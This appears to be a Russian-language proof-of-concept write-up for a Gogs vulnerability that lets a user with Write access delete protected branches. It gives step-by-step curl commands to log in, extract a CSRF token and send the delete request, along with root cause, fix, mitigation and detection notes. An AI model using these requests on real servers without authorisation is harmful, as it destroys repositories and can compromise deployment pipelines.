
Доказательство концепции для недавнего CVE-2026-25232, который представляет собой уязвимость повышения привилегий, присутствующую в Gogs.
| Поле | Детали |
|---|---|
| CVE | CVE-2026-25232 |
| Продукт | Gogs (Go Git Service) |
| Затронутые версии | <= 0.13.4 |
| Исправленная версия | 0.14.1 |
| Оценка CVSS | Средняя |
| CWE | CWE-863: Некорректная авторизация |
| Требуется аутентификация | Да (права Write на репозиторий) |
| Воздействие | Эскалация привилегий с уровня Write до операций уровня Admin |
CVE-2026-25232 — это уязвимость обхода контроля доступа в веб-интерфейсе Gogs. Она позволяет любому участнику репозитория с правами Write удалять защищённые ветки — включая ветку по умолчанию — путём отправки прямого POST-запроса к конечной точке DeleteBranchPost, полностью обходя механизмы защиты веток.
Корневая причина — расхождение между тем, как уровень Git Hook и веб-интерфейс обеспечивают защиту веток:
DeleteBranchPost не запускает Git Hooks, поэтому проверка защиты никогда не выполняетсяЭто позволяет участнику с низкими привилегиями выполнять операции, которые должны быть доступны только администраторам репозитория.
http://<TARGET>:3001attacker:Password123! (права Write на репозиторий)admin/important-repomain (ветка по умолчанию)Убедитесь, что ветка защищена и не может быть удалена обычными средствами:
# Попытка обычного удаления ветки через API — должна завершиться ошибкой
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
Ожидаемый ответ: 403 Forbidden или ошибка защиты.
Получите CSRF-токен с любой аутентифицированной страницы:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# Извлечение CSRF-токена со страницы репозитория
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
Отправьте прямой POST-запрос к конечной точке удаления ветки, обходя проверку защиты:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
Защищённая ветка удаляется, несмотря на то, что у атакующего есть только права Write.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
Ветка main больше не будет отображаться в ответе.
Функция DeleteBranchPost в веб-обработчике Gogs проверяет, что пользователь аутентифицирован и имеет права Write на репозиторий, но не проверяет, является ли целевая ветка защищённой:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
Проверка: Пользователь аутентифицирован? ✓
Проверка: Пользователь имеет права Write? ✓
Проверка: Ветка защищена? ✗ (ОТСУТСТВУЕТ)
↓
Ветка успешно удалена
Уровень Git Hook, который обеспечивает защиту веток, запускается только во время операций push/delete через SSH или HTTP Git-протокол — но не во время операций через веб-интерфейс. Этот архитектурный пробел означает, что любой участник с правами Write может выполнить эту операцию.
Злоумышленный участник с правами Write может:
В средах, где репозитории Gogs питают автоматизированные конвейеры развёртывания, это может привести к компрометации цепочки поставок.
Обновитесь до Gogs v0.14.1 или новее. Исправление добавляет надлежащие проверки авторизации в функцию DeleteBranchPost для проверки статуса защиты ветки перед разрешением удаления, независимо от способа отправки запроса.
В качестве временного смягчения:
/repos/{owner}/{repo}/branches/deleteИщите следующие индикаторы эксплуатации:
/<owner>/<repo>/branches/delete в журналах веб-сервераЭтот PoC предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем, на тестирование которых у вас нет явного разрешения.